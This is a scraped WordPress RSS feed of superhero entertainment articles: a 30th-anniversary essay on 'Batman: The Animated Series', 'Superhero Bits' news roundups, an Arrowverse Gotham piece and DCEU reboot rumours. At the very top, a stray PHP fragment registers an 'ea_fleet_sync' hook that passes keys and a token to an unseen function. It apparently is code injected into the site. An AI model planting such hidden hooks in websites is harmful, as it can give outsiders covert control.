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_ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); Batman – Brief News https://briefnews.eu Latest World News. Find every day short and brief information composed of titles and subtitles and continue reading if interested. Tue, 06 Sep 2022 11:20:57 +0000 en-US hourly 1 https://wordpress.org/?v=7.0.7 https://briefnews.eu/wp-content/uploads/2018/01/cropped-logoSmall-1-32x32.png Batman – Brief News https://briefnews.eu 32 32 Why Batman: The Animated Series Is The Definitive Depiction Of The Dark Knight And His Villains https://briefnews.eu/why-batman-the-animated-series-is-the-definitive-depiction-of-the-dark-knight-and-his-villains/ https://briefnews.eu/why-batman-the-animated-series-is-the-definitive-depiction-of-the-dark-knight-and-his-villains/#respond Tue, 06 Sep 2022 11:20:57 +0000 https://briefnews.eu/why-batman-the-animated-series-is-the-definitive-depiction-of-the-dark-knight-and-his-villains/

Since he first started appearing in film serials in the 1940s, Batman fans have been blessed with many great movie and TV depictions of the Dark Knight, with recent blockbuster “The Batman” being but one example. As a hero without superpowers, Batman lends himself particularly well to pseudo-realistic interpretations of the Christopher Nolan kind. Villains like the Joker, Penguin, Catwoman, Two-Face, Riddler, Mr. Freeze, Poison Ivy, Ra’s al Ghul, Scarecrow, Bane, Harley Quinn, and Killer Croc have all made the transition from comic books to live-action films. But some of them have turned out better than others, and Batman has an even deeper bench of colorful foes who have thrived best onscreen in animated form.

When “Batman: The Animated Series” premiered on Fox on September 5, 1992, kids were just getting back to school after the summer of “Batman Returns.” For many, Danny Elfman’s theme music and the show’s one-minute opening sequence — where police blimps shine their spotlights down on a “Dark Deco” Gotham City and Batman tussles with criminals on the rooftop — became a fixture of weekday afternoons. While its time slot may have targeted kids, however, “Batman: The Animated Series” brought mature, downright sophisticated craftsmanship and characterization to its storytelling, ensuring its place in the TV hall of fame as one of the greatest shows of all time.

Batman’s Case Files

The artwork of producers Eric Radomski and Bruce Timm helped furnish the visual aesthetic and character designs for “Batman: The Animated Series.” Together with Matt Reeves and J.J. Abrams, Timm is now producing the spiritual follow-up “Batman: Caped Crusader,” which was affected by the recent corporate shakeup at Warner Bros. and is currently looking for a home outside HBO Max.

Diving back into “Batman: The Animated Series” is like opening case files on a computer in the Batcave. The show holds a timeless quality, and the episodic nature of it ensures you can watch it at random, just as it was syndicated.

If Michael Keaton is the best Batman and Christian Bale is the best Bruce Wayne, then Juilliard-trained voice actor Kevin Conroy splits the difference, giving perfect balance to the square-jawed hero’s dual identities. Until “The Batman,” we had yet to see the World’s Greatest Detective doing much actual detective work in the movies (and he still couldn’t deduce that a bat is a rat with wings). Yet it’s a common staple of his animated adventures, with Batman searching microfiche, interrogating goons and mob bosses, and having important breakthroughs in his efforts to solve cases.

Conroy nails the lower register of Batman’s growl without overdoing it like Bale, and when he adjusts his pitch, his voice conveys a lightness of being for Bruce without reducing the billionaire playboy to a vapid daytime disguise. Episodes like “Appointment in Crime Alley” and “Perchance to Dream,” which rank among the show’s best, get to the heart of Batman’s resilience amid personal loss. But maybe the best way to revisit his animated adventures on their 30th anniversary is to crack open some of those case files on his villains.

The King Of All Clown Princes

Long before “Spider-Man: No Way Home” put forth the idea of a superhero “curing” his villains, “Batman: The Animated Series” was there to build realistic psychological profiles for a compassionate hero who works through his childhood trauma constructively (through crimefighting) while other flamboyant personalities beside him break bad. In the Caped Crusader’s first-rate rogues’ gallery, some are tragic villains, failed by therapy or warped by an unhealthy relationship with pharmaceuticals. Others are incurable — and for Mark Hamill’s Joker, who was born in a vat of chemicals (“Beware the Creeper”), laughter is the best medicine.

In a DVD featurette for “Batman: The Animated Series,” Hamill said he approached the Joker’s laugh “like a musical instrument” that would “illustrate his mood.” The character’s mercurial nature keeps him unpredictable, both frightening and funny. “The Laughing Fish” puts these qualities on display in an episode that adapts elements of more than one classic DC Comics tale, including Denny O’Neill and Neal Adams’ “The Joker’s Five-Way Revenge,” which inspired the flashlight visual of Joker smiling next to a shark. Taking a page from Jack Nicholson’s Joker and his Smylex gas, Hamill’s Clown Prince of Crime exposes his victims to a toxin that leaves their faces contorted in a rictus grin — just before Batman administers the kid-friendly antidote, naturally.

Where Batman is brooding, Hamill’s Joker is boisterous. He’s the homicidal yet happy medium between other cinematic Joker portrayals, marrying the best parts of them into the perfect character foil, who would surely have the last laugh in any Bat-villain tournament bracket. As Hamill put it, “Sherlock Holmes has his Professor Moriarty; Batman has his Joker.”

The (Un)usual Suspects

The Joker admittedly has been done, and done well, in live-action. The same goes for his 1966 “Batman” and “The Batman” compatriots, Penguin, Catwoman, and Riddler, respectively voiced by Paul Williams, Adrienne Barbeau, and John Glover in “The Animated Series.” Yet these versions hold their own and give each character extended play, not to mention a distinct musical feel courtesy of composer Shirley Walker’s leitmotifs. In “Joker’s Favor,” for instance, whoopee-cushion whistling accompanies the Clown Prince of Crime. The “Home Alone”-like “I’ve Got Batman in My Basement” has a soundtrack that musically waddles when the bird-minded Penguin makes his entrance. 

With Michelle Pfeiffer still fresh in the mind of 1992 viewers, Barbeau’s animal-loving, morally grey-costumed Catwoman had the distinction of kicking off “Batman: The Animated Series” with the first aired episode, “The Cat and the Claw, Part I.” She burgles from the rich and gives to the poor, and Anne Hathaway’s Seline Kyle in “The Dark Knight Rises” has a similar attitude toward Gotham’s wealthy elite. This wouldn’t be the last time “Batman: The Animated Series” influenced the movies.

Riddler comes in further down the line, but his debut, “If You’re So Smart, Why Aren’t You Rich?” reimagines him as a genius game designer exploited by a work-for-hire contract in a maze of cubicles. He sends Batman and Robin (Loren Lester) through one modeled after his game, “The Riddle of the Minotaur.” Riddler’s scheme to enact vengeance on his boss is echoed in Jim Carrey’s slapstick 1995 portrayal, while Paul Dano’s 2022 serial-killer version mirrors his tech-savvy side with “over 500” online followers.

These are the standard players, but the deeper you go, the more “Batman: The Animated Series” shows the untapped potential of the Dark Knight’s full line-up of antagonists.

Men Who Are Bats

One thing that immediately sets “Batman: The Animated Series” apart from other movie and TV treatments of Batman is the way it embraces the creature-feature corner of the mythos. In the first produced (and numbered) episode, “On Leather Wings,” the very first villain we meet is a monstrous inversion of our hero who undergoes a werewolf-like transformation to become a literal Man-Bat. “The beast knew what chemicals were needed to bring itself about,” says Man-Bat’s human alter ego, Dr. Kirk Langstrom (Marc Singer). With his face distorted behind beakers in his lab, Langstrom explains that he co-discovered a formula for a new species and started taking it—only to have it take over his life.

As Man-Bat, Langstrom flies high, robbing pharmaceutical factories, unable to suppress the monster within him or control his need for the formula. Since it’s ostensibly geared toward children, the show calls it a “formula” instead of a “drug,” but it’s not the last time we’ll hear that word or see a villain with an addiction that brings out his worst side. Meanwhile, the closest we’ve ever had to a live-action Man-Bat was a giant bat, designed by Rick Baker, in a deleted scene from “Batman Forever.”

Humans In Monster Form

There are ways to make a “Batman: The Animated Series” villain like Clayface work on film that wouldn’t require goopy CGI. You could have him be a master of disguise, peeling off “Mission: Impossible” masks, or even a techie in a digital environment, running deepfakes or posing as people via lifelike avatars. As it is, Clayface’s powers are well-served by the animation farmed out to Tokyo Movie Shinsha Co. in the two-parter “Feat of Clay.”

Unbound by physical realism, “Batman: The Animated Series” hews to a psychological realism whereby the monstrosity of each villain is merely an outer manifestation of their inner turmoil. Actor Matt Hagen (Ron Perlman, no stranger to playing comic book monsters), has a substance abuse problem. He’s hooked on Renuyu, an addictive cream described as a “facelift in a jar.” It’s something he uses to self-medicate after being disfigured in an accident, left with a “face like putty.”

Renuyu comes from pharmaceutical king Roland Daggett (Ed Asner), who keeps Hagen supplied with the experimental new product, which “can perform miracles even plastic surgery can’t.” When Daggett’s henchmen force an overdose on Hagen, the man of a million faces turns into a shape-shifting clay monster whose thoughts become transformations. Thinking himself functional and healthy(?), Clayface boasts, “I figured out how to manage this thing pretty good,” right before Batman confronts him with the video-monitor ghosts of his former acting self.

Even with Clayface running amok, “Batman: The Animated Series” finds time to explore the mentality of low-level enforcer Germs (Ed Begley Jr.), who turns doorknobs with a handkerchief and is afraid of setting foot in a hospital with sick people. Fleeing Batman, Germs runs into a room with “infectious disease specimens” and is soon living his worst nightmare.

Faces Of Tragedy

As good as “The Dark Knight” was, and as much as the narrative may have structured itself around Harvey Dent, Heath Ledger’s Joker stole the show there. While the film was in development in the 2000s, there was talk that Dent might not turn into Two-Face until a potential third Christopher Nolan movie. Aaron Eckhart’s character could have benefited from such treatment because, in his zeal to save nothing for the sequel, Nolan crammed Two-Face’s whole criminal career into the third act before killing him off.

“Batman: The Animated Series” gives Richard Moll’s Harvey Dent more room to breathe, both before and after he’s Two-Face. In “Pretty Poison,” his character development runs parallel to that of Pamela Isley, a.k.a. Poison Ivy (Diane Pershing), a PhD botanist with a “plants are people” fetish. She doesn’t take kindly to anyone bulldozing over endangered wild roses. Dent is smitten with Isley, but she poisons him with a kiss that sends him into a coma.

The “Two-Face” two-parter gives Dent a new fiancée named Grace and a tragic supervillain origin that would inform Jeph Loeb and Tim Sale’s “Batman: The Long Halloween.” He becomes one of the show’s most compelling characters, an ally-turned-enemy haunted by dreams of his dark side and incapable of keeping up the front of a squeaky-clean district attorney.

When Harvey puts his anger management issues on public display, crime boss Rupert Thorne (John Vernon) looks to dig up dirt on him, observing, “All men have something to hide. The brighter the picture, the darker the negative.” In secret, Harvey sees a psychiatrist, with the lightning offering a flash of what he will become when his Big Bad Harv personality takes over and he adopts a yin-yang suit and Tommy gun as Two-Face.

Not Just A Boy’s Club

Created by Paul Dini for “Batman: The Animated Series,” Harley Quinn (Arleen Sorkin) made her first media appearance in “Joker’s Favor,” which frames the Clown Prince of Crime through the eyes of a civilian who makes the mistake of telling off the wrong grinning driver in traffic. The vulnerable schlub perspective, picked up later by Brian Azzarello and Lee Bermejo’s “Joker” graphic novel, squeezes maximum menace out of the Joker while setting up his relationship with Harley.

Like Margot Robbie’s Harley, Sorkin’s version of the character is emancipated from that abusive, manipulative relationship in the girl-power episode, “Harley and Ivy,” the first of her many pairings with Poison Ivy. They, Catwoman, Batgirl (Melissa Gilbert), and other characters help keep the treehouse co-ed.

“Mad Love” explores Harley’s origin as Dr. Harleen Quinzel, a buttoned-up intern at Arkham Asylum with an “attraction to extreme personalities.” In their therapy sessions, the Joker unlocks her repressed fun-loving side. She falls in love with him, her Hannibal Lecter-esque patient, even as he lies about his backstory like Heath Ledger’s Joker (with his multiple-choice past straight out of Alan Moore and Brian Bolland’s “The Killing Joke”).

“Mad Love” was the final episode of “Batman: The Animated Series” to air under its “New Batman Adventures” redesign for The WB. It also has Joker threatening Commissioner Gordon (Bob Hastings) with dentistry by way of a power drill, and even winking at Hamill’s role as Luke Skywalker with a “Star Wars” pun. (“May the floss be with you.”)

What A Croc

Unlike Man-Bat and Clayface, Killer Croc grew up looking the way he does. He started out as a carnival sideshow attraction, then became a pro wrestler, before settling into a life of crime. Throughout the series, we also see him depicted as a sewer monster (“Vendetta”) who fraternizes with circus people (“Sideshow”) similar to Penguin in “Batman Returns.”

As an escaped convict, Croc finds acceptance at an idyllic freak farm, where a boy with flippers tells him he can be himself and not feel bad or have people stare at him. He shows signs of reform when he passes up the chance to steal $ 50,000, but then his past, personified by Batman, catches up with him. We soon see that, for Croc, being himself means being a petty crook, driven by emotions like greed and the desire for revenge against Batman, Harvey Bullock (Robert Costanzo), and anyone else who wronged him.

Adewale Akinnuoye-Agbaje, known for his role as Mr. Eko on “Lost,” did appear under makeup and a hoodie as a cannibalistic Killer Croc in “Suicide Squad.” He was a supporting character, though, and it feels like “Batman: The Animated Series” is the only place where Croc has received his full due.

In “Almost Got ‘Im,” the show even gives Croc a seat at the card table with other heavy hitters like Joker. They gather at the Stacked Deck Club, where the episode stacks story on top of flashback story, allowing each villain to recount the time they almost killed Batman. Croc has the best line — “I threw a rock at him!” — and even better, it turns out he isn’t the real Croc, but Batman in disguise.

From Lame To A-Game

Another standout “Batman: The Animated Series” episode is the Emmy-winning “Heart of Ice,” which rescued Mr. Freeze from the slums of the C-listers and made him a rich, sympathetic villain like Two-Face. Victor Fries (Michael Ansara) is a scientist left in a frigid emotional state after a cutthroat CEO nixes the life support for his cryogenically frozen wife. “Unforgiving ice” rules his actions, freezing people out (it’s a coping mechanism, and gives Batman the sniffles), until chicken soup for the soul defeats him.

This portrait of Mr. Freeze changed how he was depicted on celluloid and the comic book page. It’s just a shame the average moviegoer might associate the character more with Arnold Schwarzenegger’s punny performance in “Batman and Robin,” a flick even director Joel Schumacher apologized for.

The Mad Hatter (Roddy McDowall) is another villain “Batman: The Animated Series” legitimized, so much so that he topped our poll of the villains fans most want to see in live-action. In a show that spelunks the human psyche like a regular old Batcave, Hatter’s first episode, “Mad as a Hatter,” sees him turning people into mind-controlled puppets and pawns when he’s otherwise powerless to win their respect or manage his unrequited love for a co-worker named Alice.

The Ventriloquist (George Dzundza), first seen in “Read My Lips,” is a man with dissociative identity disorder whose dummy, Scarface, has such a forceful personality that you almost wonder if the doll isn’t truly possessed. Though just a one-off, “Fire from Olympus” also makes a meal out of Maxie Zeus (Steve Susskind), a delusional smuggler who nurtures a Greek god complex after a stress-triggered breakdown. He finds a home among the inmates of Arkham Asylum—where we all belong.

Clocking Out

There are so many stellar “Batman: The Animated Series” episodes, like the kangaroo-court villains bonanza “Trial” and the Adam West showcase “Beware of the Gray Ghost,” that to really do it justice, we’d need to do a full series rewatch and review. Even within this overview, however, a pattern emerges. Bruce Wayne puts it into words as he stands over his badly burned friend Harvey Dent in the hospital, saying, “I’m more worried about the mental scars.”

Harvey’s backstory as a kid who locked up his anger after lashing out as a bully is just one example of how the series took the mindset of its characters seriously, engaging kid viewers as mini-adults. In the same way the ever-changing Scarecrow (Henry Polic II) uses people’s fears against them, “Batman: The Animated Series” wields psychology as a storytelling weapon.

If we had all the time in the world, there’s a ton of other characters it would be worth talking about, such as Ra’s al Ghul (the late David Warner) and his life-prolonging Lazarus Pits (“The Demon’s Quest”). However, like the time-obsessed Clock King (Alan Rachins), we might risk missing our court date that way. Then, we’d probably — clock pun intended — wind up vowing revenge and tying the mayor to a clocktower’s hour hand, to be crushed to death unless Batman could save him.

Even obscure “Animated Series” villains like Clock King come with motives and an M.O. that have some basis in recognizable mental reality. “Batman: The Animated Series” puts a fantastical turn on human psychology, but by rooting itself in the truth of the mind above all else (even the laws of physics), it left us with the most definitive, all-encompassing take on the world of Batman that has ever graced the screen.

Read this next: Joker’s Wild: Ranking The Cinematic Versions Of The Clown Prince Of Crime

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(Superhero Bits is a collection of stories, updates, and videos about anything and everything inspired by the comics of Marvel, DC, and more. For comic book movies, TV shows, merchandise, events, and whatever catches our eye, this is the place to find anything that falls through the cracks.)

In this edition of Superhero Bits:

  • Marvel won some Emmys.

  • A new “Teenage Mutant Ninja Turtles” video game is on the way.

  • John Diggle on that Green Lantern tease in the “Arrow” finale.

  • “Batman: The Animated Series” turns 30 today.

  • All that and more!

Will Stargirl Season 4 Happen? Brec Bassinger Weighs In

The fate of the Arrowverse is all but decided, what with “The Flash” coming to an end and The CW sold to a new owner. Be that as it may, “Stargirl” lead Brec Bassinger is hopeful that the show is going to get a fourth season, though nothing is set in stone right now. Speaking with Decider, the actress had this to say about it:

“Geoff, our showrunner, for lack of a better term, this is his baby and he’s put so much love, and I’ve heard season 4 pitches, and I know he’s not leaving any stone unturned to get it to continue. But I’m just so grateful. There has been so much fan push on Twitter and Instagram, and it has made me and Geoff and the whole cast and crew feel so loved, because we do work hard on it. So it feels good that they’re rooting for us.”

“Stargirl” is currenting airing its third season on The CW right now, with new episodes dropping Wednesdays.

Kid Flash Build-A-Figure From McFarlane Toys

The fine folks at McFarlane Toys have revealed a new Kid Flash figure that is set to be a part of the company’s Build-A figure wave, in partnership with DC. Unfortunately we don’t have much to go on right now, save for the above image reveal. But we should be getting more details on pricing and a release date soon, as well as retailer info. So those who are interested in picking one of these up would do well to stay tuned to the company’s social channels.

Moon Knight Won An Emmy

The Creative Arts Emmys took place over the weekend and the Marvel Cinematic Universe is officially picking up trophies for its work on the small screen now. To that end, “Moon Knight” took home the Emmy for Outstanding Sound Editing for a Limited or Anthology Series, Movie or Special. More than anything, this is a reminder that Marvel and Disney are billing the show as a limited series, meaning that anyone’s hopes of getting a second season grow slimmer by the day. But hey, that one season resulted in a fancy award to add to Marvel Studios’ trophy case.

It Looks Like A Big New Teenage Mutant Ninja Turtles Game Is Coming Our Way

As reported by the folks at The Gamer, the September issue of Toy World Magazine states that Nickelodeon and Paramount are set to release a “brand new triple-A” video game set within the “Teenage Mutant Ninja Turtles” franchise in 2023. The move would make sense given the release of the animated “TMNT” film “Mutant Mayhem” hitting theaters next summer. Plus, “Shredder’s Revenge” did quite well recently and the “Cowabunga Collection,” which collects a bunch of older games featuring the half-shell heroes, recently hit shelves. But this indicates we are getting something much more significant than a new side scroller. We’ll be sure to keep you posted as further details come our way.

She-Hulk Featurette Highlights The Show’s Many Big Cameos

“She-Hulk: Attorney at Law” has been quite unlike any other MCU project to date and is very much making use of the episodic storytelling allowed by its Disney+ release. As part of that, we’ve been treated to some big cameos serving as major surprises week-to-week. The above video goes over some of those cameos thus far, namely Megan Thee Stallion’s much-discussed appearance in episode 3. But many other cameos in the show’s future are also teased. We know Daredevil is coming, but who else might be on the docket? The show returns with a new episode this Thursday.

John Diggle’s Green Lantern Setup In Arrow Is Not Resolved Says David Ramsey

A gigantic theory for years in the Arrowverse was that David Ramsey’s John Diggle would be revealed as a Green Lantern. And, wouldn’t you know it, the “Arrow” finale kind of teed that up. Yet, nothing really ever came of it. Well, speaking at DragonCon (via The Direct), Ramsey addressed that situation in a very meandering way. The main takeaway? He says that thread has yet to be resolved.

“It’s not resolved. Eric [Wallace] called me, showrunner of ‘The Flash,’ and he had a pitch for me to end the saga, the Green Lantern Saga, within the Arrowverse. The reason why he did is because the Arrowverse was ending, right? It’s gonna end with Flash and all the other shows would go. We knew, not at the time, I knew but you didn’t know yet, that Todd [Helbing] was going to reveal in ‘Superman & Lois’ that the Superman & Lois-verse, if you will, exists on another planet, on a different Earth, and these characters are still alive. The idea is perhaps there’s a world where we can explore the Flash, or maybe just Barry Allen. Maybe he is Flash, maybe he isn’t. Is Oliver Queen alive? Maybe he is. Maybe the ring is still there.”

“The Flash” season 9 and “Superman & Lois” season 3 are pretty much going to wrap it up for the Arrowverse so it seems less and less likely we’ll ever pull on this thread again. But who knows?

Chadwick Boseman Won A Posthumous Emmy For His Role As T’Challa In What If…?

Just over a year after his untimely passing, Chadwick Boseman was awarded an Emmy for his final performance as T’Challa in the MCU. Specifically, the actor took home the prize for Outstanding Character Voice-Over Performance for his work in “What If… T’Challa Became a Star-Lord” from “What If…?” season 1. It was a well deserved award and serves as a reminder of what we lost with Boseman’s passing, though we are very fortunate to have the tremendous body of work he left behind.

Morena Baccarin Wants To Be In Deadpool 3, But She Has No Idea What’s Going On

We know that Disney is finally making “Deadpool 3” happen and it seems like things are coming together nicely on that front. But who is going to be joining Ryan Reynolds in the sequel? Morena Baccarin expressed her desire to return as Vanessa during an appearance at DragonCon (via The Direct). However, she has no idea if that’s going to actually happen or not.

“You know, from your lips to God’s ears, I have no idea [if Vanessa’s in Deadpool 3]. They’re writing the script right now. I’m usually the last to find out anything. I’m not even … I wish I had information I could give you but I really don’t. But it’d be great.”

Now, let’s be honest, even if Baccarin did know something, it’s not as though she would be able to say so. Still, it does sound like she’s being genuine and the opposite of cagey here.

Happy 30th Birthday, Batman: The Animated Series!

Lastly, today is a landmark day in superhero history as “Batman: The Animated Series,” arguably the greatest adaptation of the Dark Knight in any medium outside of the pages of DC Comics, is celebrating its 30th anniversary. indeed, on this day in 1992, the first episode of the beloved series debuted, introducing us to Kevin Conroy’s legendary Batman who, to this very day, remains the “one true Batman” for a great many fans. Those looking to celebrate can do so by streaming the series on HBO Max, if they so choose.

Read this next: Disturbing Comic Book Moments The MCU Will Never Show You

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Maybe you’ve never thought about those private moments for the Dark Knight, but luckily, Sebastian Magnani has. His evocative photo series “Daily Batman” captures the superhero in the private moments rarely seen in the comic books and blockbuster movies, and in the process makes the character more intimate and personal than in those incarnations. We’ve selected a few of our favorites; the full gallery is available on Magnani’s website, and you can also follow him on Instagram and Facebook.

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How much has Aquaman already made worldwide? When might the second season of Titans begin shooting? Are you ready to swing around Spider-Man PS4 with the suit from Sam Raimi’s movies? Who is playing Batman in the season finale of Titans? Will you read the Spider-Man: Far From Home prelude comic coming in March? All that and more in this edition of Superhero Bits.

Another clip from the season premiere of the fifth and final season of Gotham has Bruce Wayne sensing a problem.

Aquaman has already raked in over $ 300 million worldwide, largely thanks to the film’s performance in China.

Forever 21 pulled a Black Panther sweater listing after backlash over a white man modeling it on their site.

A new rumor says the second season of Titans may already be slated to begin shooting in February of 2019.

Comic Book Resources have some interesting details that flesh out the character of Cull Obsidian a little bit.

Marvel Studios gave permission for a deceased young fan’s family to put Iron Man‘s likeness on his grave.

Insomniac Games gave in to pressure and added the suit from Sam Raimi’s movies to the Spider-Man PS4 game.

Aquaman is looking to make between $ 82-$ 85 million in its three-day opening weekend in the United States.

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Are you ready for the first trailer for the Hellboy reboot? What would Armie Hammer‘s version of Batman have been like in George Miller’s Justice League? Why isn’t the Miles Morales suit in the Spider-Man PS4 game? What did Ryan Reynolds give to the fan who had AvengersEndgame.com redirect to Deadpool? All that and more in this edition of Superhero Bits.

There’s already a stop-motion animated LEGO version of the teaser trailer for Marvel’s Avengers: Endgame.

Lou Ferrigno Jr. has been cast as Justice Society of America co-founder Hourman in DC Universe’s Stargirl.

Jason Momoa performed a ceremonial haka dance at the Aquaman premiere last week and broke a trident.

Domino’s is trying to get in on free advertising by offering to send pizza to Tony Stark marooned in space.

Here’s a trailer for Avengers: Infinity War cut in the style of the first teaser trailer for Avengers: Endgame.

Stargirl has also cast Brian Stapf in the DC Universe streaming series as as Ted Grant, also known as Wildcat.

Hellboy Poster

A new poster for Hellboy arrived at IGN before the first trailer arrives on Thursday, so get ready to feel the burn.

Insomniac Games had a stupid response and worse defense for a lack of Miles Morales suit in Spider-Man PS4.

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Tonight on Arrow (The CW, 8/7c), the Arrowverse finally sets foot in the infamous Gotham, after so many years of merely alluding to the gritty metropolis and its resident caped crusader. In fact, there was a time when you couldn’t even speak of Gotham if you were a superhero series.

Caroline Dries, who wrote Part 2 of the “Elseworlds” crossover event with Arrow EP Marc Guggenheim, years ago worked on Smallville — as did Flash showrunner Todd Helbing. And back then, she shared at a recent press event, “DC doesn’t let you say Batman or have anything about Gotham — like it’s just off-limits.”

Nowadays, though, especially ever since Gotham became its own TV series (over on Fox), “all of a sudden, we can do stuff,” Dries noted. “And for a bunch of geeks like us, you’re in Heaven. It’s [then just a matter of] trying to figure out what you want to use.”

Perhaps most memorably, Arrow‘s Oliver jokingly named Bruce Wayne as the Green Arrow’s possible true identity, but there have been multiple other nods. Said Helbing, “It reminds me of… this SNL skit where for the first time they could say a word and they did one skit where they said that word the whole skit.”

Compared to the worlds that Arrow, The Flash and Supergirl live in, the Gotham we see on Monday night has “a darker vibe,” Dries said. “We were trying to create, with music and the exteriors and the alleys and the grime, a sort of uncomfortable city.”

There was also a point made to give the Arrowverse’s Gotham a look that is distinct from the one on the Fox series. Shooting exteriors on location in the Windy City (versus good ol’ Vancouver), “We loved the idea of Chicago, because it feels like that’s the cityscape we’re looking for,” Dries explained. “It’s hard to do a new version pf Gotham, but we knew the Vancouver skyline wasn’t quite right. It was a little too modern.”

Whilst in Gotham, Oliver & Co. will encounter Kate Kane aka Batwoman, played by Orange Is the New Black‘s Ruby Rose (who in success may headline her own CW series about the LGBT vigilante). “Ruby has a really strong, silent presence — her look is so powerful that you don’t want to take her eyes off of her,” Dries said. “She brings so much to the plate, we realized, just standing there and absorbing what the other guys are talking about. One of my favorite moments was when they show up at Wayne Enterprises and they’re all kind of bickering about Batman and she’s just standing there waiting for them to figure out this stuff. I didn’t know how working with her would be on the day, but that was a fun surprise.”

Alas, while Gotham is no longer a six-letter four-letter word for the Arrowverse, and Batwoman is fair game, Arrowverse viewers might not ever lay eyes on you-know-who. Batman.

“That’s the one where they cut you off!” Dries reported with a laugh. “Slowly but surely, we’ll just keep kicking away at it.”

That said, Batman is mentioned in Part 2, to some comedic effect.

Citing one of her favorite scenes — in which Oliver scoffs at the Dark Knight’s existence — Arrow showrunner Beth Schwartz said, “We introduce him as being the first vigilante, so it was kind of like poking fun at that a little bit and [Oliver] being defensive. He was the first Batman in his eyes, and so that was really fun, especially [Stephen] playing off of Grant [Gustin]… the two of them were so fun in this. I remember watching the cut and I was just cracking up.”

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Want to know the official Hellboy timeline from Dark Horse Comics? What villain will Jessica Meraz play on Supergirl this season? Why isn’t the Avengers 4 trailer arriving today? Why didn’t Adam Warlock figure into Avengers: Infinity War? When is the first Spider-Man: Far From Home trailer arriving? Are you ready for Frank Miller to return to Batman? All that and more in this edition of Superhero Bits.

Here’s an extended trailer for the upcoming Arrowverse crossover Elseworlds, coming to The CW this month.

The Dark Knight Returns writer Frank Miller is returning to Batman for a comic project with Tom King.

Batwoman gets her own poster teasing her introduction in the upcoming Elseworlds crossover on The CW.

Dark Horse Comics released an official timeline of events in the Hellboy comic universe over at SyFy Wire.

Nerdist gave Aquaman a clever trailer mash-up with the Pixar Animation undersea adventure Finding Nemo.

Major Crimes star Jessica Meraz has joined the Supergirl cast as the DC villain Menagerie/Pamela Ferrer.

Deadpool takes his proper place in heaven in this new teaser poster for this month’s Once Upon a Deadpool.

Venom has been given an extension for its theatrical run in China, which is rare for imported Hollywood titles.

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]]> https://briefnews.eu/superhero-bits-frank-miller-returns-to-batman-spider-man-far-from-home-trailer-coming-soon-more/feed/ 0 Superhero Bits: Batman is in Final Season of ‘Gotham,’ Agents of SHIELD More Popular Than Any Marvel Show & More https://briefnews.eu/superhero-bits-batman-is-in-final-season-of-gotham-agents-of-shield-more-popular-than-any-marvel-show-more/ https://briefnews.eu/superhero-bits-batman-is-in-final-season-of-gotham-agents-of-shield-more-popular-than-any-marvel-show-more/#respond Sat, 10 Nov 2018 08:51:39 +0000 http://briefnews.eu/superhero-bits-batman-is-in-final-season-of-gotham-agents-of-shield-more-popular-than-any-marvel-show-more/ Arrowverse - Superman and Lois Lane

What year does Captain Marvel take place? Will Batman be appearing in the final season of Gotham? What did David Ayer say was different about the original cut of Suicide Squad? Is Agents of SHIELD really more popular than every other Marvel show? What does Sebastian Stan have to say about possible becoming Captain America? All that and more in this edition of Superhero Bits.

Hey, have you been keeping up with The Gifted? Here’s a promo for the seventh episode of the second season.

Venom passed the $ 200 million mark at the domestic box office, and it’s still alive and kicking in theaters.

Captain Marvel Trailer Breakdown - Brie Larson

The official Disney Japan website says next year’s Captain Marvel specifically takes place in the year 1995.

Cameron Monaghan has confirmed Batman will be making an appearance in the final season of Gotham.

For those who maybe don’t know The Dark Phoenix Saga, here’s an abridged version of the comic book arc.

A fan noticed Patrick Sabongui played a drug dealer in the first season of Arrow before joining The Flash.

Arrowverse’s Superman (Tyler Hoechlin) posted a first look at him with Elizabeth Tulloch as Lois Lane.

Batman: The Animated Series star Kevin Conroy will be lending his voice to The Few: Dark Future.

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Have audiences really seen the last of the Batfleck and Cavill’s Man of Steel?

Warner Bros’ entire Justice League plans have hit so many bumps on the road to the big screen it is understandable if they want to try and start all over again.

Cavill seems to be focussing all his attention on the upcoming Witcher Netflix show while Affleck, for a change, has reignited rumours he may still be involved with the spin-off The Batman film after emerging from rehab looking pumped and ready.

However, a shock new rumour claims that neither actor may have much opportunity to pick up their capes, since WB is already setting plans in motion for a soft reboot of the entire DCEU.

Grace Randolph at Beyond The Trailer is claiming that Wonder Woman 1984’s shock bump seven months back in schedules is due to rewrites which will introduce a new timeline and allow the studio to change storylines and stars moving foward.

The report certainly ties in with the Wonder Woman sequel being set coveniently three decades before the current Justice League timeline and it already has the perfect Flashpoint-style reason in place for why Diana would do such a monumental thing to the timeline. 

Randolph reporst that WB are taking the Flashpoint plot awaty from teh postponed Flash movei and working something similar into WW 1984.

This cold be bad news for Cavill and Affleck as well as Jared Leto and even Jason Momoa if his solo movie underperforms.

Randolph said: “Significant reshoots are coming. I am hearing that the movie is going to be reworked and become Wonder Woman 1984: Flashpoint. I don’t know if its going to be called that – but that’s essentially what it is. Which means the upcoming Flash movie is just a regular Flash movie.”

Comicbook fans already know that Geoff John’s classic Flashpoint series explores an alternate timeline where Barry Allen changes the timeline by saving his mother. In the ripples a young Bruce Wayne is killed in the attack outside the theatre and his parents survive. Thomas Wayne becomes Batman, instead, while Martha turns in The Joker.

Randolph says Diana Prince will also make the massive change to the past (and so the present) for love: “Diana, like all of us, isn’t willing to let Steve go a second time, saves him and therefore alters the timeline.”

Randolph stresses the Wonder Woman reboot is not Flashpoint and will not include the specific details of that series. Instead it gives WB the perfect opportunity to try and restart the entire DC franchise and cherry pick who and what they want to keep and discard.

She added: “Such a story would allow major changes in the DCEU without having to recast everyone – although I hear it is almost everyone.” 

Randolph points out that the comicbooks already have storylines where Diana saves Steve, and even where he himself become immortal.

Steve Trevor also crosses into the Suicide Squad stories to assist Amande Waller with the misfit team, which could work nicely in the upcoming Suicide Squad reboot under James Gunn.

Watch the full Wonder Woman Flashpoint report at Beyond The Trailer

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Whether fans like it or not, the DC Extended Universe as Zack Snyder envisioned will never fully come to fruition. Following the disappointing box office performance of Justice League, the slate of DC Comics movies on the way is starting to branch out from building a cinematic universe and trying out some new things, like the origin movie for The Joker starring Joaquin Phoenix.

Of course, Justice League heroes Wonder Woman and Aquaman are continuing on their path, even if Henry Cavill’s Superman may not be sticking around. But we still won’t be seeing what Zack Snyder originally envisioned for the characters, especially since there isn’t a Justice League follow-up in the works.

And that means we won’t get to see one of Snyder’s more bold decisions: to kill off Batman, something we’ve never seen done on the big screen before.

